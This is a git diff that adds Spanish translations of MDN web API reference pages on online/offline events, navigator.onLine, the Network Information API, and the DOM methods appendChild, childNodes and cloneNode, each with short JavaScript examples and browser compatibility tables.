+       log.appendChild(document.createTextNode("Event: " + msg + "; status=" + condition + "\n"));
+     }
+     function loaded() {
+       updateOnlineStatus("load");
+       document.body.addEventListener("offline", function () {
+         updateOnlineStatus("offline")
+       }, false);
+       document.body.addEventListener("online", function () {
+         updateOnlineStatus("online")
+       }, false);
+     }
+   &lt;/script&gt;
+   &lt;style&gt;...&lt;/style&gt;
+ &lt;/head&gt;
+ &lt;body onload="loaded()"&gt;
+   &lt;div id="status"&gt;&lt;p id="state"&gt;&lt;/p&gt;&lt;/div&gt;
+   &lt;div id="log"&gt;&lt;/div&gt;
+ &lt;/body&gt;
+ &lt;/html&gt;
+</pre>
+<h3 id="Referencias" name="Referencias"> Referencias </h3>
+<ul><li> <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#offline">Sección 'Eventos Online/Offline ' de la especificación WHATWG Web Applications 1.0 </a>
+</li><li> <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=336359">El bug que documenta la implementación de los eventos online/offline en Firefox </a> y un enlace <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=336682">con una modificación posterior</a>
+</li><li> <a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=220609">Un ejemplo sencillo</a>
+</li><li> <a class="external" href="http://ejohn.org/blog/offline-events/">Una explicación de los eventos Online/Offline</a>
+</li></ul>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/Online_and_offline_events", "fr": "fr/\u00c9v\u00e8nements_online_et_offline", "ja": "ja/Online_and_offline_events", "pl": "pl/Zdarzenia_online_i_offline", "pt": "pt/Eventos_online_e_offline" } ) }}
diff --git a/files/es/web/api/navigatoronline/index.html b/files/es/web/api/navigatoronline/index.html
new file mode 100644
index 0000000000..7aa4d6c0e1
--- /dev/null
+++ b/files/es/web/api/navigatoronline/index.html
@@ -0,0 +1,133 @@
+---
+title: NavigatorOnLine
+slug: Web/API/NavigatorOnLine
+tags:
+  - API
+  - HTML-DOM
+  - NeedsTranslation
+  - TopicStub
+translation_of: Web/API/NavigatorOnLine
+---
+<p>{{APIRef("HTML DOM")}}</p>
+
+<p>The <code><strong>NavigatorOnLine</strong></code> interface contains methods and properties related to the connectivity status of the browser.</p>
+
+<p>There is no object of type <code>NavigatorOnLine</code>, but other interfaces, like {{domxref("Navigator")}} or {{domxref("WorkerNavigator")}}, implement it.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>The <code>NavigatorOnLine</code></em><em> interface doesn't inherit any property.</em></p>
+
+<dl>
+ <dt>{{domxref("NavigatorOnLine.onLine")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("Boolean")}} indicating whether the browser is working online.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>The </em><em><code>NavigatorOnLine</code></em><em> interface neither implements, nor inherit any method.</em></p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#navigatoronline', 'NavigatorOnLine')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from the latest snapshot, {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', '#navigatoronline', 'NavigatorOnLine')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Snapshot of {{SpecName('HTML WHATWG')}} with its initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>on {{domxref("WorkerNavigator")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(29)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>on {{domxref("WorkerNavigator")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(29)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The {{domxref("Navigator")}} interface that implements it.</li>
+</ul>
diff --git a/files/es/web/api/navigatoronline/online/index.html b/files/es/web/api/navigatoronline/online/index.html
new file mode 100644
index 0000000000..cc74bdbb8b
--- /dev/null
+++ b/files/es/web/api/navigatoronline/online/index.html
@@ -0,0 +1,166 @@
+---
+title: Navigator.onLine
+slug: Web/API/NavigatorOnLine/onLine
+translation_of: Web/API/NavigatorOnLine/onLine
+---
+<div>{{ApiRef("HTML DOM")}}</div>
+
+<p>Retorna el estado en línea del navegador. La propiedad retorna un valor booleano,  <code>true</code> significa <strong>en línea</strong> y <code>false</code> significa <strong>desconectado</strong>. La propiedad envía actualizaciones siempre que el navegador tenga la capacidad de conectarse a los cambios de red. La actualización se produce cuando un usuario sigue un enlace o cuando un script pide una pagina remota. Por ejemplo, la propiedad debe retornar <code>false</code> cuando los usuarios hacen clic en un enlace poco después de perder la conexión a internet.</p>
+
+<p>Los navegadores implementan esta propiedad de forma diferente.</p>
+
+<p>En Chrome y Safari, si el navegador no puede conectarse a la red de area local (LAN) o al router, está <code>desconectado</code>; todas las otras condiciones retornan <code>true</code>. Así que puedes suponer que el navegador esta desconectado cuando retorna un valor <code>false</code>, no puedes suponer que un valor <code>true</code> signifique que el navegador puede acceder a internet. Podrías estar recibiendo falsos positivos, como en los casos en el que el ordenador este ejecutando un software de virtualización que tiene los adaptadores ethernet virtuales siempre "conectados". Por lo tanto, si tu quieres determinar el estado en linea de el navegador, tu debes desarrollar medios adicionales para comprobarlo. Para más información, consulte el artículo HTML5 Rocks article, <a href="http://www.html5rocks.com/en/mobile/workingoffthegrid.html"> Working Off the Grid</a>.</p>
+
+<p>En Firefox e Internet Explorer, cambiando el navegador al modo desconectado envía un valor <code>false</code>. Hasta Firefox 41, todas las demás condiciones retornaban un valor <code>true</code>; desde Firefox 41, en OS X y Windows, el valor sigue la actual conectividad de red.</p>
+
+<p>Puedes ver los cambios en el estado de red escuchando los eventos <code><a href="/en-US/docs/Web/API/document.ononline">window.ononline</a> y </code><code><a href="https://developer.mozilla.org/en-US/docs/Web/API/document.onoffline">window.onoffline</a>.</code></p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>online</em> = <em>window</em>.navigator.onLine;
+</pre>
+
+<h3 id="Valor">Valor</h3>
+
+<p><code>online</code> es booleano <code>true</code> o <code>false</code>.</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>Ver <a href="http://html5-demos.appspot.com/static/navigator.onLine.html">ejemplo en linea</a>.</p>
+
+<p>Para comprobar que estas es linea, consulte <code>window.navigator.onLine</code>, como en el siguiente ejemplo: </p>
+
+<pre class="brush: js">if (navigator.onLine) {
+  console.log('online');
+} else {
+  console.log('offline');
+}</pre>
+
+<p>Si el navegador no soporta <code>navigator.onLine</code> el ejemplo anterior siempre devolvera <code>false</code>/<code>undefined</code>.</p>
+
+<p>Para ver los cambios en el estado de la red, use <code><a href="/es/docs/Web/API/EventTarget/addEventListener">addEventListener</a></code> para escuchar los eventos <code>window.ononline</code> y <code>window.onoffline</code>, como en el siguiente ejemplo:</p>
+
+<pre class="brush: js">window.addEventListener('offline', function(e) { console.log('offline'); });
+
+window.addEventListener('online', function(e) { console.log('online'); });
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "browsers.html#navigator.online", "navigator.onLine")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1.9.1)}}<sup>[2]</sup><br>
+    {{CompatGeckoDesktop(2.0)}}<sup>[4]</sup></td>
+   <td>8<sup>[3]</sup></td>
+   <td>{{CompatNo}}<sup>[2]</sup></td>
+   <td>5.0.4</td>
+  </tr>
+  <tr>
+   <td>on {{domxref("WorkerNavigator")}}</td>
+   <td>Yes</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(29)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>BlackBerry</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.2<sup>[5]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(1.9.1)}}<sup>[2]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>
+    <p>7<br>
+     10</p>
+   </td>
+  </tr>
+  <tr>
+   <td>on {{domxref("WorkerNavigator")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(29)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Earlier versions of Chrome incorrectly return <code>true</code> when a tab is first opened, but it starts reporting the correct connectivity status after the first network event. Windows: 11, Mac: 14, Chrome OS: 13, Linux: Always returns <code>true</code>. For history, see <a href="http://crbug.com/7469">crbug.com/7469</a>.</p>
+
+<p>[2] Since Firefox 4, and Opera 11.10, the browser returns <code>true</code> when "Work Offline" mode is disabled and <code>false</code> when it is enabled, regardless of actual connectivity.</p>
+
+<p>[3] in Internet Explorer 8 "online" and "offline" events are raised on the <code>document.body</code>; under IE 9 they are raised on both <code>document.body</code> and <code>window</code>.</p>
+
+<p>[4] Since Firefox 41, on OS X and Windows, the returned values follow the actual network connectivity, unless "Work offline" mode is selected (where it will always return <code>false</code>).</p>
+
+<p>[5] Faulty in a WebView component, see Issue <a href="http://code.google.com/p/android/issues/detail?id=16760">bug 16760</a>.</p>
+
+<h2 id="Notas">Notas</h2>
+
+<p>See <a href="/en-US/docs/Online_and_offline_events">Online/Offline Events‎</a> for a more detailed description of this property as well as new offline-related features introduced in Firefox 3.</p>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li><a href="http://www.html5rocks.com/en/mobile/workingoffthegrid.html">HTML5 Rocks: Working Off the Grid With HTML5 Offline</a></li>
+ <li><a href="http://www.html5rocks.com/en/tutorials/offline/whats-offline/">HTML5 Rocks: "Offline": What does it mean and why should I care?</a></li>
+ <li><a href="http://hacks.mozilla.org/2010/01/offline-web-applications/">Mozilla Blog: Offline Web Applications</a></li>
+</ul>
diff --git a/files/es/web/api/network_information_api/index.html b/files/es/web/api/network_information_api/index.html
new file mode 100644
index 0000000000..07b3d3e3a7
--- /dev/null
+++ b/files/es/web/api/network_information_api/index.html
@@ -0,0 +1,93 @@
+---
+title: Network Information API
+slug: Web/API/Network_Information_API
+tags:
+  - API
+  - Experimental
+  - JSAPI Reference
+  - Referencia
+translation_of: Web/API/Network_Information_API
+---
+<p>{{DefaultAPISidebar("Network Information API")}}{{SeeCompatTable}}</p>
+
+<p>La Network Information (Información de red) API provee información sobre el sistema de conexión en términos genéricos de tipos de conexión (ej., 'wifi', 'cellular', etc.). Esta puede ser usada para elegir contenido en alta definición o contenido  baja definición basándose en la conexión del usuario. Toda la API consiste en la adición de la {{domxref("NetworkInformation")}} interfaz y una única propiedad para la {{domxref("Navigator")}} interfaz: {{domxref("Navigator.connection")}}.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Detectar_cambios_de_conexiónThis_example_watches_for_changes_to_the_users_connection."><span style="">Detectar cambios de conexión</span><span style="">This example watches for changes to the user's connection.</span></h3>
+
+<pre class="brush: js notranslate">var conexion = navigator.connection || navigator.mozConnection || navigator.webkitConnection;
+var tipo = connection.effectiveType;
+
+function updateConnectionStatus() {
+  console.log("Connection type changed from " + tipo + " to " + conexion.effectiveType);
+  tipo = conexion.effectiveType;
+}
+
+conexion.addEventListener('change', updateConnectionStatus);
+</pre>
+
+<h3 id="Precargar_recursos_grandes"><span style="">Precargar recursos grandes</span></h3>
+
+<p><span style="">El objeto de conexión es muy útil por ir decidiendo entre precargar recursos que ocupan mucho ancho de banda o memoria. Este ejemplo puede ser llamado justo después de que la página cargue para verificar el tipo de conexión donde precargar un video tal vez no sea lo deseado.Si se detecta la conexión de un celular, entonces el </span><code style="">preloadVideo</code><span style=""> flag está seteado en </span><code style="">false</code><span style="">. Para simplificación y claridad, este ejemplo sólo testea un tipo de conexión. Una real-word usa case probablemente una declaración de switch o otro método para verificar todos los posibles valores de</span> {{domxref("NetworkInformation.type")}}.<span style=""> <br>
+ <br>
+ en caso usaría una declaración de switch o algún otro método para verificar todos los valores posibles de<br>
+ use case would likely use a switch statement or some other method to check all of the possible values of {{domxref("NetworkInformation.type")}}. </span>Independientemente del valor de tipo, puede obtener una estimación de la velocidad de conexión a través de la propiedad<span style=""> {{domxref("NetworkInformation.effectiveType")}}.</span></p>
+
+<pre class="brush: js notranslate">let precargarVideo = true;
+var connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;
+if (connection) {
+  if (connection.effectiveType === 'slow-2g') {
+    precargarVideo = false;
+  }
+}</pre>
+
+<h2 id="Interfaces">Interfaces</h2>
+
+<dl>
+ <dt>{{domxref("NetworkInformation")}}</dt>
+ <dd>Provee información sobre la conexión de un dispositivo si está usándose para cominicarse con la red y proveer un tipo de scripts para ser notificado si el tipo de conexión cambia. La intefaz de <code>NetworkInformation</code> no puede ser inicializada. En lugar de esto, se accede a través de la interfaz {{domxref("Navigator")}}.</dd>
+</dl>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especifiación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Network Information', '', 'Network Information API')}}</td>
+   <td>{{Spec2('Network Information')}}</td>
+   <td>Initial specification</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_Navegadores">Compatibilidad en Navegadores</h2>
+
+<h3 id="NetworkInformation">NetworkInformation</h3>
+
+<div class="hidden">La tabla de compatibilidad de esta página se genera a partir de datos estructurados. Si usted desea contribuir con datos, por favor acceda a <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíenos una solicitud de pull.</div>
+
+<p>{{Compat("api.NetworkInformation")}}</p>
+
+<h3 id="Navigator.connection">Navigator.connection</h3>
+
+<div class="hidden">La tabla de compatibilidad de esta página se genera a partir de datos estructurados. Si usted desea contribuir con datos, por favor acceda a <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíenos una solicitud de pull.</div>
+
+<p>{{Compat("api.Navigator.connection")}}</p>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li>{{spec("http://w3c.github.io/netinfo/", "Network Information API Specification", "ED")}}</li>
+ <li><a href="/en-US/docs/Online_and_offline_events">Online and offline events</a></li>
+ <li>{{domxref("Navigator.connection", "window.navigator.connection")}}</li>
+</ul>
diff --git a/files/es/web/api/node/appendchild/index.html b/files/es/web/api/node/appendchild/index.html
new file mode 100644
index 0000000000..a72eb7d6c3
--- /dev/null
+++ b/files/es/web/api/node/appendchild/index.html
@@ -0,0 +1,113 @@
+---
+title: Nodo appendChild
+slug: Web/API/Node/appendChild
+tags:
+  - API
+  - DOM
+  - Node
+  - Referencia
+  - metodo
+translation_of: Web/API/Node/appendChild
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Agrega un nuevo nodo al final de la lista de un elemento hijo de un elemento padre especificado.</p>
+
+<p>Si el hijo(Child) <strong>es una referencia</strong>(hace referencia) hacia un nodo existente en el documento actual, este es quitado del padre actual para ser puesto en el nodo padre nuevo. La clave está en <strong>si el (Child) es una referencia a un nodo existente en el documento</strong>.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nueva API disponible </strong><br>
+ El método {{domxref("ParentNode.append()")}} soporta varios argumentos y cadenas para adjuntar.</p>
+</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>element</em>.appendChild(<em>aChild</em>);</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><strong>aChild</strong></dt>
+ <dd>El nodo a adjuntar al nodo padre proporcionado (normalmente un elemento).</dd>
+</dl>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p>El valor devuelto es el hijo adjunto excepto cuando el hijo proporcionado es un {{domxref("DocumentFragment")}}, en cuyo caso el {{domxref("DocumentFragment")}} vacío es devuelto.</p>
+
+<h2 id="Notas">Notas</h2>
+
+<p>El encadenamiento podría no funcionar como se espera debido a que <code>appendChild()</code> devuelve un elemento hijo:</p>
+
+<pre class="brush: js">var aBlock = doc.createElement('block').appendChild(doc.createElement('b'));</pre>
+
+<p>Establece <code>aBlock</code> como <code>&lt;b&gt;&lt;/b&gt;</code> sólo, que no es probablemente lo que quieras.</p>
+
+<p>Si el <code>child</code> hace una referencia a un nodo existente en el documento, el método <code>appendChild</code> se mueve de su posición actual a su nueva posición (ej. no existen requerimientos para eliminar el nodo desde su nodo padre antes de añadirlo a cualquier otro nodo).</p>
+
+<p>Ésto significa también que el nodo no puede estar en dos puntos del documento de manera simultánea. Así que si el nodo ya contiene un padre, primero es eliminado, y después se añade a la nueva posición.</p>
+
+<p>Se puede usar {{domxref("Node.cloneNode")}} para hacer una copia del nodo antes de añadirlo debajo de su nuevo elemento padre. (Nota: las copias echas con <code>cloneNode</code> no serán guardadas automáticamente en sincronía.)</p>
+
+<p>Éste método no es permitido para mover nodos entre distintos documentos. Si se quiere añadir un nodo desde un documento diferente (por ejemplo para mostrar los resultados de una petición AJAX) se debe usar primero:<br>
+ {{domxref("document.importNode")}}.</p>
+
+<p><code>appendChild()</code> Es uno de los métodos fundamentales de la programación web usando el DOM. El método <code>appendChild()</code> inserta un nuevo nodo dentro de la estructura DOM de un documento, y es la segunda parte del proceso central uno-dos, crear-y-añadir para construir páginas web a base de programación.</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush:js">// Crea un nuevo elemento párrafo, y lo agrega al final del cuerpo del documento
+var p = document.createElement("p");
+document.body.appendChild(p);</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especifación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-node-appendchild', 'Node.appendChild()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Sin cambio desde {{SpecName("DOM3 Core")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-184E7107', 'Node.appendChild()')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Sin cambio desde {{SpecName("DOM2 Core")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-184E7107', 'Node.appendChild()')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Sin cambio desde {{SpecName("DOM1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-184E7107', 'Node.appendChild()')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>
+
+
+<p>{{Compat("api.Node.appendChild")}}</p>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{domxref("Node.removeChild")}}</li>
+ <li>{{domxref("Node.replaceChild")}}</li>
+ <li>{{domxref("Node.insertBefore")}}</li>
+ <li>{{domxref("Node.hasChildNodes")}}</li>
+ <li>{{domxref("ParentNode.append()")}}</li>
+</ul>
diff --git a/files/es/web/api/node/childnodes/index.html b/files/es/web/api/node/childnodes/index.html
new file mode 100644
index 0000000000..567cd9fd08
--- /dev/null
+++ b/files/es/web/api/node/childnodes/index.html
@@ -0,0 +1,103 @@
+---
+title: Node.childNodes
+slug: Web/API/Node/childNodes
+tags:
+  - API
+  - DOM
+  - Propiedad
+  - Referencia
+  - Referência DOM
+translation_of: Web/API/Node/childNodes
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+</div>
+
+<p>La propiedad de solo lectura <code><strong>Node.childNodes</strong></code>  devuelve una colección de hijos {{domxref("Node","nodes")}} del elemento dado donde el primer nodo hijo es asignado un índice 0.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">var <var>nodeList</var> = <var>elementNodeReference</var>.childNodes;
+</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Uso_simple">Uso simple</h3>
+
+<pre class="brush:js">// parg is an object reference to a &lt;p&gt; element
+
+// First check that the element has child nodes
+if (parg.hasChildNodes()) {
+  var children = parg.childNodes;
+
+  for (var i = 0; i &lt; children.length; i++) {
+    // do something with each child as children[i]
+    // NOTE: List is live, adding or removing children will change the list
+  }
+}</pre>
+
+<h3 id="Eliminar_todos_los_hijos_de_un_nodo">Eliminar todos los hijos de un nodo</h3>
+
+<pre class="brush:js">// This is one way to remove all children from a node
+// box is an object reference to an element
+
+while (box.firstChild) {
+    //The list is LIVE so it will re-index each call
+    box.removeChild(box.firstChild);
+}</pre>
+
+<h2 id="Notas">Notas</h2>
+
+<p>Los items en una colección de nodos son objetos y no cadenas de caracteres. Para obtener los datos de los objetos del nodo, use sus propiedades (ej. <code>elementNodeReference.childNodes[1].nodeName</code> para obtener el nombre, etc.).</p>
+
+<p>El objeto <code>document</code> contiene 2 hijos: la declaración del Doctype y el elemento raíz, generalmente referido como  <code>documentElement</code>. (En documentos (X)HTML  es el elemento <code>HTML</code>)</p>
+
+<p><code>childNodes</code> incluye todos los nodos hijos, incluidos los nodos no elementos, como nodos de tipo textos y comentarios. Para obtener una colección de solo elementos, use {{domxref("ParentNode.children")}}.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-node-childnodes', 'Node.childNodes')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Sin cambios</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-1451460987', 'Node.childNodes')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Sin cambios</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-1451460987', 'Node.childNodes')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Sin cambios</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-1451460987', 'Node.childNodes')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{Compat("api.Node.childNodes")}}</p>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>{{domxref("Node.firstChild")}}</li>
+ <li>{{domxref("Node.lastChild")}}</li>
+ <li>{{domxref("Node.nextSibling")}}</li>
+ <li>{{domxref("Node.previousSibling")}}</li>
+ <li>{{domxref("ParentNode.children")}}</li>
+</ul>
diff --git a/files/es/web/api/node/clonenode/index.html b/files/es/web/api/node/clonenode/index.html
new file mode 100644
index 0000000000..0fb78af5dd
--- /dev/null
+++ b/files/es/web/api/node/clonenode/index.html
@@ -0,0 +1,91 @@
+---
+title: Node.cloneNode()
+slug: Web/API/Node/cloneNode
+tags:
+  - API
+  - DOM
+  - Referencia
+  - Referência DOM
+  - metodo
+translation_of: Web/API/Node/cloneNode
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>El método <strong><code>Node.cloneNode()</code></strong> devuelve un duplicado del nodo en el que este método fue llamado.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">var <em><var>dupNode</var></em> = <em><var>node</var></em>.cloneNode(<em><var>deep</var></em>);
+</pre>
+
+<dl>
+ <dt><em>node</em></dt>
+ <dd>El nodo que se desea clonar.</dd>
+ <dt><em>dupNode</em></dt>
+ <dd>El nuevo nodo que será un clon de <code>node</code></dd>
+ <dt><em>deep {{optional_inline}}</em></dt>
+ <dd><code>true</code> si los hijos del nodo también deben ser clonados, o <code>false</code> para clonar únicamente al nodo.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Nota:</strong> En la especificación DOM4 (como se implementó en Gecko 13.0 {{geckoRelease(13)}}), <code>deep</code> es un argumento opcional. Si éste se omite, el método actua como si el valor se estableciera en <strong><code>true</code></strong>, estableciendo el uso de la clonación profunda como el comportamiento por defecto. Para crear un clon superficial, <code>deep</code> debe establecerse en <code>false</code>.</p>
+
+<p>Este comportamiento ha sido modificado en la última especificación, si es omitido, el método se comportará como si <code>deep</code> fuera <strong><code>false</code></strong>. Aunque sigue siendo opcional, usted siempre debería proporcionar el argumento <code>deep</code> tanto para la compatibilidad con las nuevas y anteriores especificaciones. Con Gecko 28.0 {{geckoRelease(28)}}),  la consola advierte a los desarrolladores a no omitir el argumento. Desde Gecko 29.0 {{geckoRelease(29)}}),  una copia superficial, es el comportamiento por defecto en lugar de una copia profunda.</p>
+</div>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: js">var p = document.getElementById("para1");
+var p_prime = p.cloneNode(true);
+</pre>
+
+<h2 id="Notas">Notas</h2>
+
+<p id="not-event-listeners">Al clonar un nodo se copian todos sus atributos y valores, incluyendo escuchadores intrínsecos (en–línea). No copia los escuchadores de evento añadidos utilizando <a href="/en-US/docs/DOM/element.addEventListener"><code>addEventListener()</code></a> o aquellos asignados a las propiedades de un elemento. (ej. <code>node.onclick = fn</code>). Además, para un elemento <code>&lt;canvas&gt;</code>, la imagen pintada no se copia.</p>
+
+<p>El nodo duplicado devuelto por <code>cloneNode()</code> no formará parte del documento hasta que sea añadido a otro nodo que sea parte del documento utilizando {{domxref("Node.appendChild()")}} o un método similar. Tampoco tiene padre hasta que sea añadido a otro nodo.</p>
+
